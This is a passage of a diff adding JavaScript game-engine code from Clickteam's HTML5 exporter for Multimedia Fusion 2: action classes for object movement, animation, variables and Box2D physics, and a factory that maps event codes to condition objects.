+ var y = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ CRun.setYPosition(pHo, Math.floor(y));
+ }
+ }
+ // CUT
+
+ function ACT_EXTSHOOT()
+ {
+ }
+ ACT_EXTSHOOT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var pEvp = this.evtParams[0];
+ var pInfo = new CPositionInfo();
+ if (pEvp.read_Position(rhPtr, 0x11, pInfo))
+ {
+ pHo.shtCreate(pEvp, pInfo.x, pInfo.y, pInfo.dir);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSHOOTTOWARD()
+ {
+ }
+ ACT_EXTSHOOTTOWARD.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ var pInfo = new CPositionInfo();
+ if (this.evtParams[0].read_Position(rhPtr, 0x11, pInfo))
+ {
+ var pInfoDest = new CPositionInfo();
+ if (this.evtParams[1].read_Position(rhPtr, 0, pInfoDest))
+ {
+ var x2 = pInfoDest.x;
+ var y2 = pInfoDest.y;
+ var dir = CRun.get_DirFromPente(x2 - pInfo.x, y2 - pInfo.y);
+
+ pHo.shtCreate(this.evtParams[0], pInfo.x, pInfo.y, dir);
+ }
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSHOW()
+ {
+ }
+ ACT_EXTSHOW.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+ CRun.objectShow(pHo);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSHUFFLE()
+ {
+ }
+ ACT_EXTSHUFFLE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ rhPtr.rhEvtProg.rh2ShuffleBuffer.add(pHo);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSPEED()
+ {
+ }
+ ACT_EXTSPEED.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ var s = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (pHo.rom != null)
+ pHo.rom.rmMovement.setSpeed(s);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSPRBACK()
+ {
+ }
+ ACT_EXTSPRBACK.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+ pHo.setChildIndex(0);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSPRFRONT()
+ {
+ }
+ ACT_EXTSPRFRONT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+ var index = pHo.getChildMaxIndex();
+ pHo.setChildIndex(index);
+ }
+ }
+ // CUT
+
+ function ACT_SPRBACK()
+ {
+ }
+ ACT_SPRBACK.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+ pHo.setChildIndex(0);
+ }
+ }
+ // CUT
+
+ function ACT_SPRFRONT()
+ {
+ }
+ ACT_SPRFRONT.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+ var index = pHo.getChildMaxIndex();
+ pHo.setChildIndex(index);
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTART()
+ {
+ }
+ ACT_EXTSTART.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.rmMovement.start();
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTARTANIM()
+ {
+ }
+ ACT_EXTSTARTANIM.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.roa.raAnimStopped = false;
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTOP()
+ {
+ }
+ ACT_EXTSTOP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.rmMovement.stop();
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTOPANIM()
+ {
+ }
+ ACT_EXTSTOPANIM.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+ pHo.roa.raAnimStopped = true;
+ }
+ }
+ // CUT
+
+ function ACT_EXTADDVAR()
+ {
+ }
+ ACT_EXTADDVAR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ var num;
+ if (this.evtParams[0].code == 53)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(num + 10);
+ var pValue2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ pHo.rov.rvValues[num] += pValue2;
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTADDVARCONST()
+ {
+ }
+ ACT_EXTADDVARCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ if (this.num >= 0 && pHo.rov != null)
+ {
+ if (this.num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(this.num + 10);
+ pHo.rov.rvValues[this.num] += this.value;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSUBVAR()
+ {
+ }
+ ACT_EXTSUBVAR.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ var num;
+ if (this.evtParams[0].code == 53)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(num + 10);
+ var pValue2 = rhPtr.get_EventExpressionAny(this.evtParams[1]);
+ pHo.rov.rvValues[num] -= pValue2;
+ }
+ }
+ }
+ // -- CUT
+
+ function ACT_EXTSUBVARCONST()
+ {
+ }
+ ACT_EXTSUBVARCONST.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null) return;
+
+ if (this.num >= 0 && pHo.rov != null)
+ {
+ if (this.num >= pHo.rov.rvValues.length)
+ pHo.rov.growValues(this.num + 10);
+ pHo.rov.rvValues[this.num] -= this.value;
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTWRAP()
+ {
+ }
+ ACT_EXTWRAP.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (pHo.rom != null)
+ pHo.rom.rmEventFlags |= CRMvt.EF_WRAP;
+ }
+ }
+ // CUT
+
+ // BOX2D MOVEMENTS
+ //////////////////////////////////////////////////////////////////////////////////////
+
+ function ACT_EXTSETFRICTION()
+ {
+ }
+ ACT_EXTSETFRICTION.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var friction = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSETFRICTION, friction);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETELASTICITY()
+ {
+ }
+ ACT_EXTSETELASTICITY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var elasticity = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSETELASTICITY, elasticity);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTAPPLYANGULARIMPULSE()
+ {
+ }
+ ACT_EXTAPPLYANGULARIMPULSE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var torque = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTAPPLYANGULARIMPULSE, torque);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTAPPLYFORCE()
+ {
+ }
+ ACT_EXTAPPLYFORCE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var array = new Array();
+ array[0] = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ array[1] = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTAPPLYFORCE, array);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTAPPLYTORQUE()
+ {
+ }
+ ACT_EXTAPPLYTORQUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var torque = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTAPPLYTORQUE, torque);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETLINEARVELOCITY()
+ {
+ }
+ ACT_EXTSETLINEARVELOCITY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var array = new Array();
+ array[0] = rhPtr.get_EventExpressionDouble(this.evtParams[0]);
+ array[1] = rhPtr.get_EventExpressionDouble(this.evtParams[1]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSETLINEARVELOCITY, array);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSETANGULARVELOCITY()
+ {
+ }
+ ACT_EXTSETANGULARVELOCITY.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var torque = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSETANGULARVELOCITY, torque);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTAPPLYIMPULSE()
+ {
+ }
+ ACT_EXTAPPLYIMPULSE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ var array = new Array();
+ array[0] = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ array[1] = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTAPPLYIMPULSE, array);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTOPFORCE()
+ {
+ }
+ ACT_EXTSTOPFORCE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSTOPFORCE, 0);
+ }
+ }
+ }
+ // CUT
+
+ function ACT_EXTSTOPTORQUE()
+ {
+ }
+ ACT_EXTSTOPTORQUE.prototype =
+ {
+ execute: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ActionObjects(this);
+ if (pHo == null)
+ return;
+
+ if (rhPtr.GetMBase(pHo) != null)
+ {
+ pHo.rom.rmMovement.callMovement(CAct.ACT_EXTSTOPTORQUE, 0);
+ }
+ }
+ }
+ // CUT
+
+ // CCnd object
+ // ----------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CCnd.NUM_ONEVENT = 6;
+ CCnd.CND_ONLOOP = ((-16 << 16) | 0xFFFF);
+ CCnd.CND_OR = ((-24 << 16) | 65535);
+ CCnd.CND_ORLOGICAL = ((-25 << 16) | 65535);
+ function CCnd()
+ {
+ }
+ CCnd.create = function (app)
+ {
+ var debut = app.file.getFilePointer();
+
+ var size = app.file.readAShort();
+ var cnd = null;
+ var c = app.file.readAInt();
+ switch (c)
+ {
+ case ((-40 << 16) | 0xFFFF):
+ cnd = new CND_RUNNINGAS();
+ break;
+ case ((-39 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_GT();
+ break;
+ case ((-38 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_GE();
+ break;
+ case ((-37 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_LT();
+ break;
+ case ((-36 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_LE();
+ break;
+ case ((-35 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_NE();
+ break;
+ case ((-34 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_EQ();
+ break;
+ case ((-33 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_GT();
+ break;
+ case ((-32 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_GE();
+ break;
+ case ((-31 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_LT();
+ break;
+ case ((-30 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_LE();
+ break;
+ case ((-29 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_NE();
+ break;
+ case ((-28 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGCONST_EQ();
+ break;
+ case ((-27 << 16) | 0xFFFF): // ELSE IF
+ cnd = new CND_NEVER();
+ break;
+ case ((-26 << 16) | 0xFFFF):
+ cnd = new CND_CHANCE();
+ break;
+ case ((-25 << 16) | 0xFFFF): // CND_ORLOGICAL
+ cnd = new CND_NEVER();
+ break;
+ case ((-24 << 16) | 0xFFFF): // CND_OR
+ cnd = new CND_NEVER();
+ break;
+ case ((-23 << 16) | 0xFFFF):
+ cnd = new CND_GROUPSTART();
+ break;
+ case ((-20 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREGSTRING();
+ break;
+ case ((-16 << 16) | 0xFFFF):
+ cnd = new CND_ONLOOP();
+ break;
+ case ((-12 << 16) | 0xFFFF):
+ cnd = new CND_GROUPACTIVATED();
+ break;
+ case ((-11 << 16) | 0xFFFF):
+ cnd = new CND_NEVER();
+ break;
+ case ((-10 << 16) | 0xFFFF):
+ cnd = new CND_NEVER();
+ break;
+ case ((-9 << 16) | 0xFFFF):
+ cnd = new CND_NEVER();
+ break;
+ case ((-8 << 16) | 0xFFFF):
+ cnd = new CND_COMPAREG();
+ break;
+ case ((-7 << 16) | 0xFFFF):
+ cnd = new CND_NOTALWAYS();
+ break;
+ case ((-6 << 16) | 0xFFFF):
+ cnd = new CND_ONCE();
+ break;
+ case ((-5 << 16) | 0xFFFF):
+ cnd = new CND_REPEAT();
+ break;
+ case ((-4 << 16) | 0xFFFF):
+ cnd = new CND_NOMORE();
+ break;
+ case ((-3 << 16) | 0xFFFF):
+ cnd = new CND_COMPARE();
+ break;
+ case ((-2 << 16) | 0xFFFF):
+ cnd = new CND_NEVER();
+ break;
+ case ((-1 << 16) | 0xFFFF):
+ cnd = new CND_ALWAYS();
+ break;
+ case ((-9 << 16) | 0xFFFE):
+ cnd = new CND_SPCHANNELPAUSED();
+ break;
+ case ((-8 << 16) | 0xFFFE):
+ cnd = new CND_NOSPCHANNELPLAYING();
+ break;
+ case ((-6 << 16) | 0xFFFE):
+ cnd = new CND_SPSAMPAUSED();
+ break;
+ case ((-3 << 16) | 0xFFFE):
+ cnd = new CND_NOSAMPLAYING;
+ break;
+ case ((-1 << 16) | 0xFFFE):
+ cnd = new CND_NOSPSAMPLAYING();
+ break;
+ case ((-8 << 16) | 0xFFFD):
+ cnd = new CND_ENDOFPAUSE();
+ break;
+ case ((-7 << 16) | 0xFFFD):
+ cnd = new CND_ISVSYNCON();
+ break;
+ case ((-6 << 16) | 0xFFFD):
+ cnd = new CND_ISLADDER();
+ break;
+ case ((-5 << 16) | 0xFFFD):
+ cnd = new CND_ISOBSTACLE();
+ break;
+ case ((-4 << 16) | 0xFFFD):
+ cnd = new CND_QUITAPPLICATION();
+ break;
+ case ((-3 << 16) | 0xFFFD):
+ cnd = new CND_NEVER();
+ break;
+ case ((-2 << 16) | 0xFFFD):
+ cnd = new CND_ALWAYS();
+ break;
+ case ((-1 << 16) | 0xFFFD):
+ cnd = new CND_START();
+ break;
+ case ((-8 << 16) | 0xFFFC):
+ cnd = new CND_EVERY2();
+ break;
+ case ((-7 << 16) | 0xFFFC):
+ cnd = new CND_TIMEREQUALS();
+ break;
+ case ((-6 << 16) | 0xFFFC):
+ cnd = new CND_ONEVENT();
+ break;
+ case ((-5 << 16) | 0xFFFC):
+ cnd = new CND_TIMEOUT();
+ break;
+ case ((-4 << 16) | 0xFFFC):
+ cnd = new CND_EVERY();
+ break;
+ case ((-3 << 16) | 0xFFFC):
+ cnd = new CND_TIMER();
+ break;
+ case ((-2 << 16) | 0xFFFC):
+ cnd = new CND_TIMERINF();
+ break;
+ case ((-1 << 16) | 0xFFFC):
+ cnd = new CND_TIMERSUP();
+ break;
+ case ((-12 << 16) | 0xFFFA):
+ cnd = new CND_ONMOUSEWHEELDOWN();
+ break;
+ case ((-11 << 16) | 0xFFFA):
+ cnd = new CND_ONMOUSEWHEELUP();
+ break;
+ case ((-10 << 16) | 0xFFFA):
+ cnd = new CND_MOUSEON();
+ break;
+ case ((-9 << 16) | 0xFFFA):
+ cnd = new CND_ANYKEY();
+ break;
+ case ((-8 << 16) | 0xFFFA):
+ cnd = new CND_MKEYDEPRESSED();
+ break;
+ case ((-7 << 16) | 0xFFFA):
+ cnd = new CND_MCLICKONOBJECT();
+ break;
+ case ((-6 << 16) | 0xFFFA):
+ cnd = new CND_MCLICKINZONE();
+ break;
+ case ((-5 << 16) | 0xFFFA):
+ cnd = new CND_MCLICK();
+ break;
+ case ((-4 << 16) | 0xFFFA):
+ cnd = new CND_MONOBJECT();
+ break;
+ case ((-3 << 16) | 0xFFFA):
+ cnd = new CND_MINZONE();
+ break;
+ case ((-2 << 16) | 0xFFFA):
+ cnd = new CND_KBKEYDEPRESSED();
+ break;
+ case ((-1 << 16) | 0xFFFA):
+ cnd = new CND_KBPRESSKEY();
+ break;
+ case ((-6 << 16) | 0xFFF9):
+ cnd = new CND_JOYPUSHED();
+ break;
+ case ((-5 << 16) | 0xFFF9):
+ cnd = new CND_NOMORELIVE();
+ break;
+ case ((-4 << 16) | 0xFFF9):
+ cnd = new CND_JOYPRESSED();
+ break;
+ case ((-3 << 16) | 0xFFF9):
+ cnd = new CND_LIVE();
+ break;
+ case ((-2 << 16) | 0xFFF9):
+ cnd = new CND_SCORE();
+ break;
+ case ((-1 << 16) | 0xFFF9):
+ cnd = new CND_PLAYERPLAYING();
+ break;
+ case ((-23 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEALLINLINE();
+ break;
+ case ((-22 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEFLAGRESET();
+ break;
+ case ((-21 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEFLAGSET();
+ break;
+ case ((-20 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEVALUE();
+ break;
+ case ((-19 << 16) | 0xFFFB):
+ cnd = new CND_PICKFROMID();
+ break;
+ case ((-18 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEALLINZONE();
+ break;
+ case ((-17 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEALL();
+ break;
+ case ((-16 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEZONE();
+ break;
+ case ((-15 << 16) | 0xFFFB):
+ cnd = new CND_NUMOFALLOBJECT();
+ break;
+ case ((-14 << 16) | 0xFFFB):
+ cnd = new CND_NUMOFALLZONE();
+ break;
+ case ((-13 << 16) | 0xFFFB):
+ cnd = new CND_NOMOREALLZONE();
+ break;
+ case ((-12 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEFLAGRESET_OLD();
+ break;
+ case ((-11 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEFLAGSET_OLD();
+ break;
+ case ((-8 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEVALUE_OLD();
+ break;
+ case ((-7 << 16) | 0xFFFB):
+ cnd = new CND_PICKFROMID_OLD();
+ break;
+ case ((-6 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEALLINZONE_OLD();
+ break;
+ case ((-5 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEALL_OLD();
+ break;
+ case ((-4 << 16) | 0xFFFB):
+ cnd = new CND_CHOOSEZONE_OLD();
+ break;
+ case ((-3 << 16) | 0xFFFB):
+ cnd = new CND_NUMOFALLOBJECT_OLD();
+ break;
+ case ((-2 << 16) | 0xFFFB):
+ cnd = new CND_NUMOFALLZONE_OLD();
+ break;
+ case ((-1 << 16) | 0xFFFB):
+ cnd = new CND_NOMOREALLZONE_OLD();
+ break;
+ case (((-80 - 1) << 16) | 7):
+ cnd = new CND_CCOUNTER();
+ break;
+ case (((-80 - 3) << 16) | 4):
+ cnd = new CND_QEQUAL();
+ break;
+ case (((-80 - 2) << 16) | 4):
+ cnd = new CND_QFALSE();
+ break;
+ case (((-80 - 1) << 16) | 4):
+ cnd = new CND_QEXACT();
+ break;
+ case (((-80 - 4) << 16) | (9 & 0x00FF)):
+ cnd = new CND_CCAISPAUSED();
+ break;
+ case (((-80 - 3) << 16) | (9 & 0x00FF)):
+ cnd = new CND_CCAISVISIBLE();
+ break;
+ case (((-80 - 2) << 16) | (9 & 0x00FF)):
+ cnd = new CND_CCAAPPFINISHED();
+ break;
+ case (((-80 - 1) << 16) | (9 & 0x00FF)):
+ cnd = new CND_CCAFRAMECHANGED();
+ break;
+ default:
+ switch (c & 0xFFFF0000)
+ {
+ case (-43 << 16):
+ cnd = new CND_EXTCMPVARCONST();
+ break;
+ case (-42 << 16):
+ cnd = new CND_EXTCMPVARCONST();
+ break;
+ case (-41 << 16):
+ cnd = new CND_EXTONLOOP();
+ break;
+ case (-40 << 16):
+ cnd = new CND_EXTISSTRIKEOUT();
+ break;
+ case (-39 << 16):
+ cnd = new CND_EXTISUNDERLINE();
+ break;
+ case (-38 << 16):
+ cnd = new CND_EXTISITALIC();
+ break;
+ case (-37 << 16):
+ cnd = new CND_EXTISBOLD();
+ break;
+ case (-36 << 16):
+ cnd = new CND_EXTCMPVARSTRING();
+ break;
+ case (-35 << 16):
+ cnd = new CND_EXTPATHNODENAME();
+ break;
+ case (-34 << 16):
+ cnd = new CND_EXTCHOOSE();
+ break;
+ case (-33 << 16):
+ cnd = new CND_EXTNOMOREOBJECT();
+ break;
+ case (-32 << 16):
+ cnd = new CND_EXTNUMOFOBJECT();
+ break;
+ case (-31 << 16):
+ cnd = new CND_EXTNOMOREZONE();
+ break;
+ case (-30 << 16):
+ cnd = new CND_EXTNUMBERZONE();
+ break;
+ case (-29 << 16):
+ cnd = new CND_EXTSHOWN();
+ break;
+ case (-28 << 16):
+ cnd = new CND_EXTHIDDEN();
+ break;
+ case (-27 << 16):
+ cnd = new CND_EXTCMPVAR();
+ break;
+ case (-26 << 16):
+ cnd = new CND_EXTCMPVARFIXED();
+ break;
+ case (-25 << 16):
+ cnd = new CND_EXTFLAGSET();
+ break;
+ case (-24 << 16):
+ cnd = new CND_EXTFLAGRESET();
+ break;
+ case (-23 << 16):
+ cnd = new CND_EXTISCOLBACK();
+ break;
+ case (-22 << 16):
+ cnd = new CND_EXTNEARBORDERS();
+ break;
+ case (-21 << 16):
+ cnd = new CND_EXTENDPATH();
+ break;
+ case (-20 << 16):
+ cnd = new CND_EXTPATHNODE();
+ break;
+ case (-19 << 16):
+ cnd = new CND_EXTCMPACC();
+ break;
+ case (-18 << 16):
+ cnd = new CND_EXTCMPDEC();
+ break;
+ case (-17 << 16):
+ cnd = new CND_EXTCMPX();
+ break;
+ case (-16 << 16):
+ cnd = new CND_EXTCMPY();
+ break;
+ case (-15 << 16):
+ cnd = new CND_EXTCMPSPEED();
+ break;
+ case (-14 << 16):
+ cnd = new CND_EXTCOLLISION();
+ break;
+ case (-13 << 16):
+ cnd = new CND_EXTCOLBACK();
+ break;
+ case (-12 << 16):
+ cnd = new CND_EXTOUTPLAYFIELD();
+ break;
+ case (-11 << 16):
+ cnd = new CND_EXTINPLAYFIELD();
+ break;
+ case (-10 << 16):
+ cnd = new CND_EXTISOUT();
+ break;
+ case (-9 << 16):
+ cnd = new CND_EXTISIN();
+ break;
+ case (-8 << 16):
+ cnd = new CND_EXTFACING();
+ break;
+ case (-7 << 16):
+ cnd = new CND_EXTSTOPPED();
+ break;
+ case (-6 << 16):
+ cnd = new CND_EXTBOUNCING();
+ break;
+ case (-5 << 16):
+ cnd = new CND_EXTREVERSED();
+ break;
+ case (-4 << 16):
+ cnd = new CND_EXTISCOLLIDING();
+ break;
+ case (-3 << 16):
+ cnd = new CND_EXTANIMPLAYING();
+ break;
+ case (-2 << 16):
+ cnd = new CND_EXTANIMENDOF();
+ break;
+ case (-1 << 16):
+ cnd = new CND_EXTCMPFRAME();
+ break;
+ default:
+ cnd = new CCndExtension();
+ break;
+ }
+ }
+ if (cnd != null)
+ {
+ cnd.evtCode = c;
+ cnd.evtOi = app.file.readShort();
+ cnd.evtOiList = app.file.readShort();
+ cnd.evtFlags = app.file.readAByte();
+ cnd.evtFlags2 = app.file.readAByte();
+ cnd.evtNParams = app.file.readAByte();
+ cnd.evtDefType = app.file.readAByte();
+ cnd.evtIdentifier = app.file.readAShort();
+
+ if (cnd.evtNParams > 0)
+ {
+ cnd.evtParams = new Array(cnd.evtNParams);
+ var n;
+ for (n = 0; n < cnd.evtNParams; n++)
+ {
+ cnd.evtParams[n] = CParam.create(app);
+ }
+ }
+ }
+ app.file.seek(debut + size);
+
+ return cnd;
+ }
+ CCnd.negaTRUE = function (evtPtr)
+ {
+ if (evtPtr.evtFlags2 & CEvent.EVFLAG2_NOT)
+ return false;
+ return true;
+ }
+ CCnd.negaFALSE = function (evtPtr)
+ {
+ if (evtPtr.evtFlags2 & CEvent.EVFLAG2_NOT)
+ return true;
+ return false;
+ }
+ CCnd.negate = function (evtPtr, b)
+ {
+ if (evtPtr.evtFlags2 & CEvent.EVFLAG2_NOT)
+ return !b;
+ return b;
+ }
+ CCnd.compute_GlobalNoRepeat = function (rhPtr)
+ {
+ var evgPtr = rhPtr.rhEvtProg.rhEventGroup;
+ var inhibit = evgPtr.evgInhibit;
+ evgPtr.evgInhibit = rhPtr.rhLoopCount;
+ var loopCount = rhPtr.rhLoopCount;
+ if (loopCount == inhibit)
+ return false;
+ loopCount--;
+ if (loopCount == inhibit)
+ return false;
+ return true;
+ }
+ CCnd.compute_NoRepeatCol = function (identifier, pHo)
+ {
+ var id;
+ var n;
+
+ var pArray = pHo.hoBaseNoRepeat;
+ if (pArray == null)
+ {
+ pArray = new CArrayList();
+ pHo.hoBaseNoRepeat = pArray;
+ }
+ else
+ {
+ for (n = 0; n < pArray.size(); n++)
+ {
+ if (pArray.get(n) == identifier)
+ return false;
+ }
+ }
+ pArray.add(identifier);
+
+ pArray = pHo.hoPrevNoRepeat;
+ if (pArray == null)
+ return true;
+ for (n = 0; n < pArray.size(); n++)
+ {
+ if (pArray.get(n) == identifier)
+ return false;
+ }
+ return true;
+ }
+ CCnd.checkMark = function (rhPtr, mark)
+ {
